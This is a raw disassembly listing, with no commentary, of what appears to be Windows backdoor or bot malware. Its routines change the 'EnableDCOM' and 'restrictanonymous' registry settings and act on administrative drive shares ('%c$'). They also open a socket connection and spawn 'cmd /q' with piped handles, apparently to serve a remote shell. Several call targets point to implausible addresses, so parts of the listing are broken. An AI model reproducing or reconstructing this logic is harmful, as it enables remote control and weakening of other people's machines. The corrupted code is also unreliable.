mov eax, offset byte_43C80C
loc_415C96: ; CODE XREF: sub_415C5E+31j
push eax
push esi
push offset dword_438C20
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41782A
add esp, 14h
jmp short loc_415CCD
; ---------------------------------------------------------------------------
loc_415CAD: ; CODE XREF: sub_415C5E+22j
call dword_43F674
test eax, eax
mov eax, offset dword_438C28
jnz short loc_415CC1
mov eax, offset byte_43C80C
loc_415CC1: ; CODE XREF: sub_415C5E+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_415CCD: ; CODE XREF: sub_415C5E+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_417AB0
pop ecx
cmp eax, 2
pop esi
jbe short loc_415CFC
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_418DE0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_418C10
add esp, 18h
loc_415CFC: ; CODE XREF: sub_415C5E+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_415C5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D01 proc near ; CODE XREF: sub_40EB92+7Fp
; sub_40ECFA+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_438BAC
loc_415D0D: ; CODE XREF: sub_415D01+3Fj
cmp [ebp+arg_C], 0
jz short loc_415D28
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_4176D0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_415D32
; ---------------------------------------------------------------------------
loc_415D28: ; CODE XREF: sub_415D01+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_415D32: ; CODE XREF: sub_415D01+25j
test eax, eax
jnz short loc_415D44
add esi, 14h
inc edi
cmp esi, offset dword_438C10
jb short loc_415D0D
jmp short loc_415D52
; ---------------------------------------------------------------------------
loc_415D44: ; CODE XREF: sub_415D01+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_438BB0[eax*4]
pop ecx
loc_415D52: ; CODE XREF: sub_415D01+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_415D65
push [ebp+arg_0]
call sub_415C5E
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_415D65: ; CODE XREF: sub_415D01+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_415D01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D6A proc near
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 1
rep movsd
pop esi
mov [eax+0A4h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call dword_43F668
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_43F6E8
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_415E28
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43F610
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_4450CC[ecx], esi
jz short loc_415E28
push [ebp+var_34]
push [ebp+var_28]
call dword_43F6F4
push eax
mov edi, offset dword_489DE4
push offset unk_438C2C
push edi
call sub_4172B0
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_40D679
push edi
call sub_40BF6D
add esp, 28h
loc_415E28: ; CODE XREF: sub_415D6A+5Dj
; sub_415D6A+7Ej
push esi
call dword_43F700
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_415D6A endp
; ---------------------------------------------------------------------------
byte_415E37 db 55h ; DATA XREF: sub_40EE72+35E2o
dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh
dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h
dd 0D475FFFFh, 0FFE075FFh, 43F6F415h, 858D5000h, 0FFFFFED0h
dd 438C6468h, 2DE85000h, 8D000014h, 0FFFED085h, 1FF68FFh
dd 8B500000h, 0C069DC45h, 234h, 444EC005h, 6DE85000h, 8300002Dh
dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h, 5700415Dh
dd 0AE8DE857h, 3B900224h, 0FC4589C7h, 7D390B74h, 6A0675F4h
dd 0EBD6FF32h, 0FC75FFF5h, 0BB57E890h, 0B3FF021Fh, 88h
dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h
dd 83000014h, 75FF0CC4h, 9C15FF08h, 400043F5h, 8458950h
dd 0F66415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h
dd 1470h, 0E90CC483h, 0FFFFFF3Dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F28 proc near ; DATA XREF: sub_40EE72+5F4Fo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_415F6F
call sub_415F88
jmp short loc_415F74
; ---------------------------------------------------------------------------
loc_415F6F: ; CODE XREF: sub_415F28+3Ej
call sub_4162AC
loc_415F74: ; CODE XREF: sub_415F28+45j
add esp, 10h
push [ebp+var_14]
call sub_417078
pop ecx
push 0
nop
call near ptr 25E02EAh
sub_415F28 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F88 proc near ; CODE XREF: sub_415F28+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_43F738, edi
jnz loc_4160BA
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43F6D8
test eax, eax
jnz short loc_416013
mov ax, word_439014
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43F68C
test eax, eax
jz short loc_415FF5
push offset unk_438FD4
jmp short loc_415FFA
; ---------------------------------------------------------------------------
loc_415FF5: ; CODE XREF: sub_415F88+64j
push offset dword_438FA8
loc_415FFA: ; CODE XREF: sub_415F88+6Bj
lea eax, [ebp+var_214]
push eax
call sub_4172B0
pop ecx
pop ecx
push [ebp+var_4]
call dword_43F644
jmp short loc_416026
; ---------------------------------------------------------------------------
loc_416013: ; CODE XREF: sub_415F88+36j
lea eax, [ebp+var_214]
push offset unk_438F68
push eax
call sub_4172B0
pop ecx
pop ecx
loc_416026: ; CODE XREF: sub_415F88+89j
cmp [ebp+arg_C], edi
jnz short loc_416045
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_416045: ; CODE XREF: sub_415F88+A1j
lea eax, [ebp+var_214]
push eax
call sub_40BF6D
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43F6D8
test eax, eax
jnz short loc_4160B3
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_43F68C
test eax, eax
jz short loc_416095
push offset unk_438F08
jmp short loc_41609A
; ---------------------------------------------------------------------------
loc_416095: ; CODE XREF: sub_415F88+104j
push offset unk_438EC4
loc_41609A: ; CODE XREF: sub_415F88+10Bj
lea eax, [ebp+var_214]
push eax
call sub_4172B0
pop ecx
pop ecx
push [ebp+var_4]
call dword_43F644
jmp short loc_4160CD
; ---------------------------------------------------------------------------
loc_4160B3: ; CODE XREF: sub_415F88+E2j
push offset unk_438E78
jmp short loc_4160BF
; ---------------------------------------------------------------------------
loc_4160BA: ; CODE XREF: sub_415F88+13j
push offset unk_438E38
loc_4160BF: ; CODE XREF: sub_415F88+130j
lea eax, [ebp+var_214]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_4160CD: ; CODE XREF: sub_415F88+129j
cmp [ebp+arg_C], edi
jnz short loc_4160EC
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_4160EC: ; CODE XREF: sub_415F88+148j
lea eax, [ebp+var_214]
push eax
call sub_40BF6D
cmp dword_43F760, edi
pop ecx
jnz loc_416267
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41610F: ; CODE XREF: sub_415F88+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_43F5B4
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_4161AC
cmp eax, 0EAh
jz short loc_4161AC
mov esi, offset off_438CA0
loc_416140: ; CODE XREF: sub_415F88+21Dj
push dword ptr [esi]
push edi
call sub_40DCC3
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_416157
push offset unk_438E04
jmp short loc_41615C
; ---------------------------------------------------------------------------
loc_416157: ; CODE XREF: sub_415F88+1C6j
push offset unk_438DC8
loc_41615C: ; CODE XREF: sub_415F88+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41782A
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41618F
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_41618F: ; CODE XREF: sub_415F88+1EBj
lea eax, [ebp+var_214]
push eax
call sub_40BF6D
add esi, 8
pop ecx
cmp esi, offset dword_438CC0
jb short loc_416140
jmp loc_416244
; ---------------------------------------------------------------------------
loc_4161AC: ; CODE XREF: sub_415F88+1AAj
; sub_415F88+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41623B
loc_4161BB: ; CODE XREF: sub_415F88+2AFj
mov edi, [esi]
push edi
call sub_41999C
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_416230
push edi
call sub_40DBB0
push eax
push 0
call sub_40DCC3
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_4161EA
push offset unk_438D94
jmp short loc_4161EF
; ---------------------------------------------------------------------------
loc_4161EA: ; CODE XREF: sub_415F88+259j
push offset unk_438D58
loc_4161EF: ; CODE XREF: sub_415F88+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41782A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_416223
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_416223: ; CODE XREF: sub_415F88+27Fj
lea eax, [ebp+var_214]
push eax
call sub_40BF6D
pop ecx
loc_416230: ; CODE XREF: sub_415F88+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_4161BB
xor edi, edi
loc_41623B: ; CODE XREF: sub_415F88+22Dj
push [ebp+var_8]
call dword_43F6F8
loc_416244: ; CODE XREF: sub_415F88+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41610F
lea eax, [ebp+var_214]
push offset unk_438D20
push eax
call sub_4172B0
pop ecx
pop ecx
pop ebx
jmp short loc_41627A
; ---------------------------------------------------------------------------
loc_416267: ; CODE XREF: sub_415F88+177j
lea eax, [ebp+var_214]
push offset unk_438CE0
push eax
call sub_4172B0
pop ecx
pop ecx
loc_41627A: ; CODE XREF: sub_415F88+2DDj
cmp [ebp+arg_C], edi
jnz short loc_416298
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_416298: ; CODE XREF: sub_415F88+2F5j
lea eax, [ebp+var_214]
push eax
call sub_40BF6D
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_415F88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4162AC proc near ; CODE XREF: sub_415F28:loc_415F6Fp
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_43F738, ebx
push esi
jnz loc_4163DA
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43F6D8
test eax, eax
jnz short loc_416337
mov ax, word_4391FC
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43F68C
test eax, eax
jz short loc_416319
push offset unk_4391C8
jmp short loc_41631E
; ---------------------------------------------------------------------------
loc_416319: ; CODE XREF: sub_4162AC+64j
push offset dword_43919C
loc_41631E: ; CODE XREF: sub_4162AC+6Bj
lea eax, [ebp+var_220]
push eax
call sub_4172B0
pop ecx
pop ecx
push [ebp+var_4]
call dword_43F644
jmp short loc_41634A
; ---------------------------------------------------------------------------
loc_416337: ; CODE XREF: sub_4162AC+36j
lea eax, [ebp+var_220]
push offset unk_438F68
push eax
call sub_4172B0
pop ecx
pop ecx
loc_41634A: ; CODE XREF: sub_4162AC+89j
cmp [ebp+arg_C], ebx
jnz short loc_416369
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_416369: ; CODE XREF: sub_4162AC+A1j
lea eax, [ebp+var_220]
push eax
call sub_40BF6D
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43F6D8
test eax, eax
jnz short loc_4163D3
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_43F68C
test eax, eax
jz short loc_4163B5
push offset unk_439150
jmp short loc_4163BA
; ---------------------------------------------------------------------------
loc_4163B5: ; CODE XREF: sub_4162AC+100j
push offset unk_43910C
loc_4163BA: ; CODE XREF: sub_4162AC+107j
lea eax, [ebp+var_220]
push eax
call sub_4172B0
pop ecx
pop ecx
push [ebp+var_4]
call dword_43F644
jmp short loc_4163ED
; ---------------------------------------------------------------------------
loc_4163D3: ; CODE XREF: sub_4162AC+E2j
push offset unk_4390C0
jmp short loc_4163DF
; ---------------------------------------------------------------------------
loc_4163DA: ; CODE XREF: sub_4162AC+13j
push offset unk_438E38
loc_4163DF: ; CODE XREF: sub_4162AC+12Cj
lea eax, [ebp+var_220]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_4163ED: ; CODE XREF: sub_4162AC+125j
cmp [ebp+arg_C], ebx
jnz short loc_41640C
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_41640C: ; CODE XREF: sub_4162AC+144j
lea eax, [ebp+var_220]
push eax
call sub_40BF6D
cmp dword_43F760, ebx
pop ecx
jnz loc_416581
push edi
mov esi, offset off_438CA0
mov edi, 200h
loc_416430: ; CODE XREF: sub_4162AC+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_40DC17
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41644B
push offset unk_439090
jmp short loc_416450
; ---------------------------------------------------------------------------
loc_41644B: ; CODE XREF: sub_4162AC+196j
push offset unk_439058
loc_416450: ; CODE XREF: sub_4162AC+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41782A
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41647F
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_41647F: ; CODE XREF: sub_4162AC+1B7j
lea eax, [ebp+var_220]
push eax
call sub_40BF6D
add esi, 8
pop ecx
cmp esi, offset off_438CB0
jb short loc_416430
nop
call near ptr 27C061Bh
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_416569
loc_4164AA: ; CODE XREF: sub_4162AC+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41655E
cmp bl, 41h
jz loc_41655E
movsx esi, bl
push esi
push offset aC_2 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_1 ; "%c:\\"
push 0Ah
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_43F6C8
cmp eax, 3
jnz short loc_41655E
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_40DC17
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41651C
push offset unk_439090
jmp short loc_416521
; ---------------------------------------------------------------------------
loc_41651C: ; CODE XREF: sub_4162AC+267j
push offset unk_439058
loc_416521: ; CODE XREF: sub_4162AC+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41782A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_416551
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_416551: ; CODE XREF: sub_4162AC+289j
lea eax, [ebp+var_220]
push eax
call sub_40BF6D
pop ecx
loc_41655E: ; CODE XREF: sub_4162AC+206j
; sub_4162AC+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_4164AA
loc_416569: ; CODE XREF: sub_4162AC+1F8j
lea eax, [ebp+var_220]
push offset unk_439018
push eax
call sub_4172B0
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_416594
; ---------------------------------------------------------------------------
loc_416581: ; CODE XREF: sub_4162AC+173j
lea eax, [ebp+var_220]
push offset unk_438CE0
push eax
call sub_4172B0
pop ecx
pop ecx
loc_416594: ; CODE XREF: sub_4162AC+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_4165B2
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_4165B2: ; CODE XREF: sub_4162AC+2EBj
lea eax, [ebp+var_220]
push eax
call sub_40BF6D
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_4162AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4165C6 proc near ; CODE XREF: ___:0041562Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_416717
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_4450CC[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_4240A0
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4168E9
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_416631
nop
call near ptr 2630313h
push eax
push offset dword_439244
call sub_40BFE1
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_41666B
; ---------------------------------------------------------------------------
loc_416631: ; CODE XREF: sub_4165C6+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_41699B
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_416672
nop
call near ptr 2630313h
push eax
push offset dword_439244
call sub_40BFE1
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call near ptr 27B0A22h
nop
loc_41666B: ; CODE XREF: sub_4165C6+69j
xor eax, eax
jmp loc_416712
; ---------------------------------------------------------------------------
loc_416672: ; CODE XREF: sub_4165C6+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
nop
call near ptr 27C0848h
sub eax, ebx
jz short loc_4166CC
dec eax
jz short loc_4166C6
dec eax
jz short loc_4166B2
call near ptr 2630313h
nop
push eax
push offset dword_439200
call sub_40BFE1
pop ecx
pop ecx
jmp short loc_4166E1
; ---------------------------------------------------------------------------
loc_4166B2: ; CODE XREF: sub_4165C6+D5j
mov edi, dword_424168
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_4166E1
; ---------------------------------------------------------------------------
loc_4166C6: ; CODE XREF: sub_4165C6+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_4166D0
; ---------------------------------------------------------------------------
loc_4166CC: ; CODE XREF: sub_4165C6+CFj
push ebx
push dword ptr [esi+14h]
loc_4166D0: ; CODE XREF: sub_4165C6+104j
call near ptr 27B0A22h
nop
push 1
push dword ptr [esi+8]
call near ptr 27B0BD0h
nop
loc_4166E1: ; CODE XREF: sub_4165C6+EAj
; sub_4165C6+FEj
push dword ptr [esi+10h]
mov edi, dword_424078
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_43F700
push esi
call sub_417C3B
pop ecx
push 1
pop eax
loc_416712: ; CODE XREF: sub_4165C6+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_4165C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416717 proc near ; CODE XREF: sub_4165C6+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_417B89
mov esi, eax
pop ecx
cmp esi, edi
jz loc_416801
mov ebx, dword_424140
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_424078
test eax, eax
jnz short loc_41677A
call near ptr 2630313h
nop
push eax
push offset dword_439324
jmp short loc_41679A
; ---------------------------------------------------------------------------
loc_41677A: ; CODE XREF: sub_416717+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_4167A2
nop
call near ptr 2630313h
push eax
push offset dword_4392D4
loc_41679A: ; CODE XREF: sub_416717+61j
call sub_40BFE1
pop ecx
jmp short loc_4167D0
; ---------------------------------------------------------------------------
loc_4167A2: ; CODE XREF: sub_416717+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_416810
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_416805
push offset dword_43929C
call sub_40BF6D
loc_4167D0: ; CODE XREF: sub_416717+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4167DC
push [ebp+var_4]
call edi
loc_4167DC: ; CODE XREF: sub_416717+BEj
cmp [ebp+var_8], 0
jz short loc_4167E7
push [ebp+var_8]
call edi
loc_4167E7: ; CODE XREF: sub_416717+C9j
mov eax, [esi]
test eax, eax
jz short loc_4167F0
push eax
call edi
loc_4167F0: ; CODE XREF: sub_416717+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_4167FA
push eax
call edi
loc_4167FA: ; CODE XREF: sub_416717+DEj
push esi
call sub_417C3B
pop ecx
loc_416801: ; CODE XREF: sub_416717+1Dj
xor eax, eax
jmp short loc_41680B
; ---------------------------------------------------------------------------
loc_416805: ; CODE XREF: sub_416717+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41680B: ; CODE XREF: sub_416717+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_416717 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416810 proc near ; CODE XREF: sub_416717+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_417330
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_417330
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_42413C
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
nop
call near ptr 27607E9h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
nop
call near ptr 274056Fh
test eax, eax
jz short loc_4168CC
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_4450C8[eax], ecx
call near ptr 2611A31h
nop
jmp short loc_4168E2
; ---------------------------------------------------------------------------
loc_4168CC: ; CODE XREF: sub_416810+9Aj
call near ptr 2630313h
nop
push eax
push offset dword_439374
call sub_40BFE1
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4168E2: ; CODE XREF: sub_416810+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_416810 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4168E9 proc near ; DATA XREF: sub_4165C6+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_424074
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_416912: ; CODE XREF: sub_4168E9+8Fj
call ebx
test eax, eax
jz short loc_41697A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_41694D
loc_416923: ; CODE XREF: sub_4168E9+62j
mov cl, [ebp+esi+var_C8]
